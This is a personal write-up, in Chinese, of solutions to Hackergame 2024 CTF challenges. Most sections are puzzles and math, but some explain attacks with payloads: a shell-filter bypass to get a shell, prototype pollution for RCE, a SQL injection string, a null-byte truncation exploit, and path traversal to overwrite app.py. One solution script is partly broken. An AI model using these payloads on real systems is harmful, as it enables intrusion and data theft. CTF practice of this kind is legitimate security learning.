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Hackergame 2024 个人 Writeup

签到、喜欢做签到的 CTFer 你们好呀、猫咪问答（Hackergame 十周年纪念版）、打不开的盒、每日论文太多了、比大小王、不宽的宽字符、PowerfulShell、Node.js is Web Scale、PaoluGPT、强大的正则表达式、优雅的不等式、不太分布式的软总线、关灯（1-3）、禁止内卷

前言

这次比赛的题目难度适中，有一些经典的题目，也有一些新颖的题目，总体来说比较有趣。选取了一些题目来写writeup，希望对大家有所帮助。

第一次进榜单

签到

直接点一下提交，发现url的最后有个?pass=false，改成?pass=true即可。

喜欢做签到的 CTFer 你们好呀

打开网页，发现是个仿终端的界面，输入help，发现提供了所有的命令，逐个尝试发现env命令可以查看环境变量，发现flag1。

在js中搜索flag，发现https://www.nebuu.la/_next/static/chunks/pages/index-5cb01f7ec808f452.js 中有cat指令特判了.flag，遂尝试cat .flag，发现flag2。

猫咪问答（Hackergame 十周年纪念版）

  1. 大语言模型会把输入分解为一个一个的 token 后继续计算，请问这个网页的 HTML 源代码会被 Meta 的 Llama 3 70B 模型的 tokenizer 分解为多少个 token？（5 分）

直接从Hugging Face 上获得 meta-llama/Meta-Llama-3-70B 的 tokenizer.json，然后分解即可。

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# Description: Tokenize a string using Meta-Llama-3-70B tokenizer
from tokenizers import Tokenizer

tokenizer = Tokenizer.from_file("tokenizer.json")

with open("index.html", "r", encoding="utf-8") as file:
    html_content = file.read()

output = tokenizer.encode(html_content)
print(output.ids)
print(len(output.tokens))

打不开的盒

使用任意3D建模软件打开即可，这里因为懒得下直接用科协的电脑打开了。 请选择你的拍屏导师 （请选择你的拍屏导师）

每日论文太多了

在PDF中全文搜索flag，发现Figure 4中有一处空白，下载pdf之后使用编辑器打开，删除这里的白色遮罩即可看到flag。

比大小王

模拟输入显然不可行，对手一秒十题恐怖如斯，拼尽全力无法战胜。好在js没有混淆，阅读源码得知比赛题目从/game中获得，在网页上完成比赛后还需要POST到/submit，于是写了个脚本模拟提交。

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import requests

url = "http://202.38.93.141:12122/game"
headers = {
    "content-type": "application/json",
    "cookie": "xxx"}
data = "{}"

resp = requests.post(url, headers=headers, data=data)
response = resp.json()
print(response)
inputs = response["values"]
print(inputs)
r = [">" if pair[0] > pair[1] else "<" for pair in inputs]
set_cookie = resp.headers.get('set-cookie')
url2 = "http://202.38.93.141:12122/submit"
print(str({"inputs": r}))
if set_cookie:
    headers['cookie'] = set_cookie
response = requests.post(url2, headers=headers, data=str({"inputs": r}).replace("'", '"'))
response = response.json()
print(response)

不宽的宽字符

以wchar形式读入程序然后加上L"you_cant_get_the_flag"，然后强制类型转换成char后读这个文件

题目的意思是让我们构造一些宽字符，使被转换成char后变成Z:\\theflag\0，后面的\0是字符串结束符，会被C风格的fopen函数识别为字符串结束,从而忽略掉程序中的you_cant_get_the_flag。

这几个字符可以直接按ASCII码两两组合起来（要倒过来），而最后落单的\0可以直接用0x00后面随机填充一个字节即可。

可以写程序来验证一下：

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char *c= (char*)filename.c_str();
char *c2= "Z:\\theflag";
strcpy(c,c2);
    for (int i = 0; i < strlen(c); i++)
{
    std::cout<<std::hex<<(int)c[i]<<" ";
}
std::cout<<std::endl;
    for(int i=0;i<filename.size();i++)
{
    std::cout<<std::hex<<(int)filename[i]<<" ";
}
std::cout<<std::endl;

输出:

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3a5a 745c 6568 6c66 6761 0 61 6e 74 5f 67 65 74 5f 74 68 65 5f 66 6c 61 67

说明 3a5a 745c 6568 6c66 6761 0 会转换成 Z:\\theflag\0。

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from pwn import *

p = remote('202.38.93.141', 14202)

#token 

# 输入 3a5a 745c 6568 6c66 6761 0011 的十六进制数据
payload_unicode = '\u3a5a\u745c\u6568\u6c66\u6761\u1100'
p.sendline(payload_unicode)
p.interactive()

PowerfulShell

构造不用'\";,.%^*?!@#%^&()><\/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0的shell命令getflag

难点在于构造字符，发现$和 ` 没有被ban，那直接执行~然后把结果用个变量存下来，慢慢拼接最后得到shell

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_1=~

# _1的内容是/players，这里截取了l和s，并把ls的结果赋值给_2
_2=`${_1:2:1}${_1:7:1} 

#_2 的内容是PowerfulShell.sh
${_2:14:2} ## 截取_2中的sh并执行

完成getshell，随后cat /flag即可。

Node.js is Web Scale

观察source code，发现有dict合并操作，于是想到原型链污染，只需要给每个对象添加个flag属性,值为cat /flag,这样/execute?cmd=flag的时候就会RCE

在网页上填入key为 __proto__.flag，value为 cat /flag。

随后访问 /execute?cmd=flag 就可以得到flag。

PaoluGPT

爬虫题，获得主页的 html，然后解析出所有 a 标签的 href，然后爬取，获得 flag1

conversation_id是 uuid，无法遍历，于是阅读源码，发现有sql注入点

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results = execute_query("select id, title from messages where shown = true", fetch_all=True)

···

results = execute_query(f"select title, contents from messages where id = '{conversation_id}'")
return render_template("view.html", message=Message(None, results[0], results[1]))

构造 payload select title, contents from messages where id ='1' OR shown = false AND '1'='1'

访问 /view?conversation_id=1' OR shown = false AND '1'='1 即可获得flag2

强大的正则表达式

好耶！是离散数学题！

Easy

flag1要求匹配十进制下被16整除的数，可以直接匹配最后四位。

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str1= '(16|32|64|(0|1|2|3|4|5|6|7|8|9)*(0000|0016|0032))'
strall = '('
for i in range(0, 1000, 16):
    strall += str(i) + '|'
strall +='(0|1|2|3|4|5|6|7|8|9)*('
for i in range(0, 10000, 16):
    # 补足四位
    i4 = str(i).zfill(4)
    strall += i4 + '|'
strall = strall[:-1] + '))'
print(strall)

Medium

flag2要求匹配二进制下被13整除的数，直接搜索发现这个问题可以转化成有限状态自动机（DFA）的问题，构造一个DFA，随后转化成正则语言。观察到题目中的刚好仅允许|()*这些符号，因此可以构造出与、或、闭包，这个方向是正确的。

二进制下的转移线路很简单，可以构造一个DFA，状态为0-12，每个状态接受0-1的转移，最后统计从0开始的环路即可。

在Github上找到了一个repo tchajed/div-regex 提供了DFA转化成正则表达式的代码，我们仅需建图即可

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from dfa import Dfa
from gnfa import Gnfa

def divisible_by(n):
    delta = []
    for s in range(n):
        s_delta = {}
        for d in range(2):
            x = str(d)
            s_delta[x] = (s * 2 + d)%n
        delta.append(s_delta)
    return Dfa(delta, set([0]), 0)

dfa = divisible_by(11).minimal()
r = Gnfa.dfa_re(dfa)
ans = r.to_re()
print(ans)

Hard

情况变得复杂起来，需要构造一个DFA，状态为0-7，每个状态接受0-9的转移，最后统计从0开始的环路。

枚举每个Stage的出边，实现一个带初始值的crc3_gsm函数，接受当前点的状态和此时的边，这条边会指向 crc3计算的结果，最后即可完成DFA的构造。

值得注意的是在DFA中State的值是中间状态，而CRC-3/GSM的需要在运算后^0x07,只有Stage 7在^0x07后为0，因此最后回归状态应该是7。

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from dfa import Dfa
from gnfa import Gnfa

# Function to calculate CRC-3/GSM checksum
def crc3_gsm(data, init=0x00):
    poly = 0x03
    crc = init
    data = data.encode()
    for byte in data:
        for i in range(8):
            bit = (byte >> (7 - i)) & 1
            crc = ((crc << 1) & 0x07) ^ (poly if (bit != ((crc >> 2) & 1)) else 0)
    return crc

# Function to build the state machine for the DFA
def build_state_machine():
    delta = []
    for s in range(8):
        s_delta = {}
        for d in range(10):
            x = str(d)
            s_delta[x] = crc3_gsm(x, s)
        delta.append(s_delta)
    return Dfa(delta, set([7]), 0)

dfa = build_state_machine().minimal()
r = Gnfa.dfa_re(dfa).to_re()
print(r)

优雅的不等式

注意到知乎上文章 【科普】如何优雅地“注意到”关于e、π的不等式，可以直接套用这个不等式。

然后调整参数，使其既小于400的长度，又足够紧（在[0,1]非负），即可得到flag。

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import sympy as sp

x, a, b = sp.symbols('x a b')
m, n = 40,80

def getAns(n,m,p,q):
    exp = x**(2*m) * (1 - x**2)**n * (a + b * x**2) / (1 + x**2)
    exp = sp.simplify(exp)
    F = sp.integrate(exp, (x, 0, 1))
    F = sp.simplify(F)
    #sp.pprint(sp.simplify(F))

    # Condition equations based on coeff(F, pi) and the given equations
    coeff_F_pi = F.coeff(sp.pi)
    eq1 = coeff_F_pi - 1
   # sp.pprint(F)
    eq2 = F - coeff_F_pi * sp.pi + sp.Rational(p, q)
    #sp.pprint(eq1)

    # Solve for a and b
    solution = sp.solve([eq1, eq2], (a, b))
    exp2 = exp.subs(solution)
    # Output the solution
    return str(sp.simplify(exp2))

from pwn import *

# Connect to the server
r = remote('202.38.93.141', 14514)

# Get the number of test cases
print(r.recvline())
token = 'I love dw'
r.sendline(token)

# Please prove that pi>=p/q
cnt = 1
while True:
    st = r.recvline().decode()
    print(st)
    if 'Please' not in st:
        continue
    st=st.split('=')[1].split('/')
    if len(st)==2:
        p=int(st[0])
        q=int(st[1])
    else:
        p=int(st[0])
        q=1
    an= getAns(n,m,p,q)
    an=an.replace('x**2','x*x').replace(' ','')
    print(f'Case {cnt}: {an}')
    cnt+=1
    r.sendline(an)

p.interactive()

不太分布式的软总线

Flag1

直接调用GetFlag1方法即可。

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#include <gio/gio.h>
#include <glib.h>

int main(int argc, char *argv[]) {
  GError *error = NULL;
  GDBusConnection *connection;
  GVariant *result;

  // 连接到系统总线
  connection = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &error);
  if (error != NULL) {
    g_printerr("Error connecting to system bus: %s\n", error->message);
    g_clear_error(&error);
    return 1;
  }

  // 调用 GetFlag1 方法
  result = g_dbus_connection_call_sync(
      connection,
      "cn.edu.ustc.lug.hack.FlagService", // 服务名称
      "/cn/edu/ustc/lug/hack/FlagService", // 对象路径
      "cn.edu.ustc.lug.hack.FlagService", // 接口名称
      "GetFlag1", // 方法名称
      g_variant_new("(s)", "Please give me flag1"), // 参数
      G_VARIANT_TYPE("(s)"), // 返回类型
      G_DBUS_CALL_FLAGS_NONE,
      -1,
      NULL,
      &error);

  if (error != NULL) {
    g_printerr("Error calling GetFlag1: %s\n", error->message);
    g_clear_error(&error);
    return 1;
  }

  // 解析返回值
  const gchar *flag1;
  g_variant_get(result, "(&s)", &flag1);
  g_print("Flag1: %s\n", flag1);

  // 清理
  g_variant_unref(result);
  g_object_unref(connection);

  return 0;
}

Flag2

题目要求我们给出一个文件描述符，然后服务端会向这个文件描述符写入flag2，但由于我们并没有创建文件的权限，所以我们可以使用管道来实现。

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#include <unistd.h>
#include <fcntl.h>
#include <gio/gio.h>
#include <glib.h>
#include <stdio.h> 

int main() {
  int pipefd[2];
  if (pipe(pipefd) == -1) {
    perror("pipe");
    return 1;
  }

  // 写入数据到管道
  const char *pipe_message = "Please give me flag2\n"; // 更改变量名
  write(pipefd[1], pipe_message, strlen(pipe_message));
  close(pipefd[1]); // 关闭写端

  // 创建一个 GDBusMessage 并设置文件描述符
  GDBusMessage *dbus_message = g_dbus_message_new_method_call( // 更改变量名
      "cn.edu.ustc.lug.hack.FlagService", "/cn/edu/ustc/lug/hack/FlagService",
      "cn.edu.ustc.lug.hack.FlagService", "GetFlag2");
  GUnixFDList *fd_list = g_unix_fd_list_new();
  g_unix_fd_list_append(fd_list, pipefd[0], NULL);
  g_dbus_message_set_unix_fd_list(dbus_message, fd_list);
  g_object_unref(fd_list);

  // 设置参数
  GVariant *params = g_variant_new("(h)", 0); // 传递文件描述符索引
  g_dbus_message_set_body(dbus_message, params);

  // 调用方法并获取响应
  GError *error = NULL;
  GDBusConnection *connection = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &error);
  if (error != NULL) {
    g_printerr("Error getting bus: %s\n", error->message);
    g_error_free(error);
    return 1;
  }

  GDBusMessage *response = g_dbus_connection_send_message_with_reply_sync(
      connection, dbus_message, G_DBUS_SEND_MESSAGE_FLAGS_NONE, -1, NULL, NULL,
      &error);
  if (error != NULL) {
    g_printerr("Error sending message: %s\n", error->message);
    g_error_free(error);
    return 1;
  }

  // 处理响应
  GVariant *body = g_dbus_message_get_body(response);
  const gchar *flag;
  g_variant_get(body, "(&s)", &flag);
  g_print("Received flag: %s\n", flag);

  // 清理
  g_object_unref(response);
  g_object_unref(connection);
  close(pipefd[0]); // 关闭读端

  return 0;
}

Flag3

题目只能给名为GetFlag3的进程返回flag3，

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prctl(PR_SET_NAME, "getflag3", 0, 0, 0);

关灯

Flag1~Flag3

Light Out 问题本质上就是一个线性代数问题，我们可以通过构造矩阵来解决。

灯(i,j,k)开关能影响到的灯有(i,j,k), (i+1,j,k), (i-1,j,k), (i,j+1,k), (i,j-1,k), (i,j,k+1), (i,j,k-1)。

我们可以通过构造一个矩阵，对于一个灯(i,j,k)，我们定义他的下标为i*n*n+j*n+k，那么我们可以构造一个n^3*n^3的矩阵，对于每一个灯，我们可以构造一个n^3的向量，表示这个灯控制的灯。

最后解这个异或线性方程组即可。

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import os
import numpy
import zlib
import base64
import time
import hashlib
os.environ['TERM'] = 'xterm'

from pwn import *
F = GF(2)

n = 11
A = Matrix(F, n**3, n**3, sparse=True)
B = vector(F, n**3)

dx = [-1,1,0,0,0,0]
dy = [0,0,-1,1,0,0]
dz = [0,0,0,0,-1,1]

for i in range(n):
    for j in range(n):
        for k in range(n):
            u = i*n*n + j*n + k
            A[u,u] = 1
            for l in range(6):
                x = i + dx[l]
                y = j + dy[l]
                z = k + dz[l]
                if x >= 0 and x < n and y >= 0 and y < n and z >= 0 and z < n:
                    v = x*n*n + y*n + z


pwnlib.term.term_mode = False
p = remote
#p.interactive()
# Receive the welcome message
print(p.recvline())
token = 't
# 发送数据
p.sendline(token)
print(p.recv(1000))
p.sendline('4')
st01=p.recvline().decode()
print(st01)
print(p.recv(4096))

for i in range(n**3):
    B[i] = int(st01[i])


solutions = A.solve_right(B)

ans = ""
for i in range(n**3):
    ans += str(solutions[i])
p.sendline(ans)
p.interactive()

禁止内卷

题目中强调了--reload参数，那么应该是要修改py源文件，考虑如何写入文件.

阅读源码发现有一个/submit接口，可以上传文件，没有处理文件名，存在路径穿越漏洞，在上传文件时修改POST请求的filename字段为../app.py，即可直接覆盖app.py，实现RCE。

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